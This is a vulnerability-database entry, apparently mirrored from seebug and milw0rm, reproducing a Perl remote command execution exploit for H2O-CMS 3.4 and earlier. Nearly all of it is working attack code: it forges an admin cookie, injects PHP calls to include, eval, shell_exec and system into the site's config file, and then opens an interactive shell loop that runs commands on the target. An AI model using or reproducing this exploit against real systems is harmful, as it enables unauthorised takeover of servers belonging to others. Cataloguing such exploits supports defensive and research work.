Lucene search
K

H2O-CMS <= 3.4 - Remote Command Execution Exploit (mq = off)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

H2O-CMS Remote Command Execution Exploi

Code

                                                #!/usr/bin/perl 
# ---------------------------------------------------------- 
# H2O-CMS &#60;= 3.4 Remote Command Execution Exploit (mq = Off)
# Discovered By StAkeR[at]hotmail[dot]it
# Download On http://sourceforge.net/projects/h2o-cms
# ---------------------------------------------------------- 

use strict;
use LWP::UserAgent;
use LWP::Simple;

my $post;
my $sysc;
my $host = shift or athos();
my $auth = &#34;user=admin&id=1&admin=1&#34;;
my $http = new LWP::UserAgent;

my $write = {
              &#39;site_title&#39;  =&#62; &#39;&#34;;&#34;&#34;; error_reporting(0); echo&#34;//athos&#34;; &#34;&#39;,
              &#39;db_server&#39;   =&#62; &#39;&#34;;&#34;&#34;; include($_REQUEST[&#34;i&#34;]); &#34;&#39;,
              &#39;db_name&#39;     =&#62; &#39;&#34;;&#34;&#34;; eval($_REQUEST[&#34;g&#34;]); &#34;&#39;,
              &#39;db_username&#39; =&#62; &#39;&#34;;&#34;&#34;; echo shell_exec($_REQUEST[&#34;c&#34;]); &#34;&#39;,
              &#39;db_password&#39; =&#62; &#39;&#34;;&#34;&#34;; echo system($_REQUEST[&#34;s&#34;]); &#34;&#39;,
              &#39;save&#39;        =&#62; &#39;Save&#39;,
            };


$http-&#62;default_header(&#39;Cookie&#39; =&#62; $auth);
$post = $http-&#62;post($host.&#39;/index.php?option=SaveConfig&#39;,$write);

    
sub start_exec
{  
   my $site = shift @_;
   my $exec = shift @_;
   my $view = get($site.&#39;/includes/config.php?c=&#39;.$exec);
   
   return $view;
}   

sub athos
{
   print STDOUT &#34;# Usage: perl $0 http://[host]\n&#34;;
   print STDOUT &#34;# Remote Command Execution Exploit\n&#34;;
   exit;
}

unless(get($host) =~ /\/\/athos/i)
{
   print STDOUT &#34;# Exploit Failed!\n&#34;;
   exit;
}
else
{
  while(1)
  {
     if(defined start_exec($host,$sysc))
     {
        print STDOUT &#34;[athos-shell] ~# &#34;; 
        chomp($sysc = &#60;STDIN&#62;);
      
        print STDOUT &#34;[athos-shell] ~# &#34;.start_exec($host,$sysc).&#34;\n&#34;;
     }             
  }
}

__END__

# milw0rm.com [2008-10-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23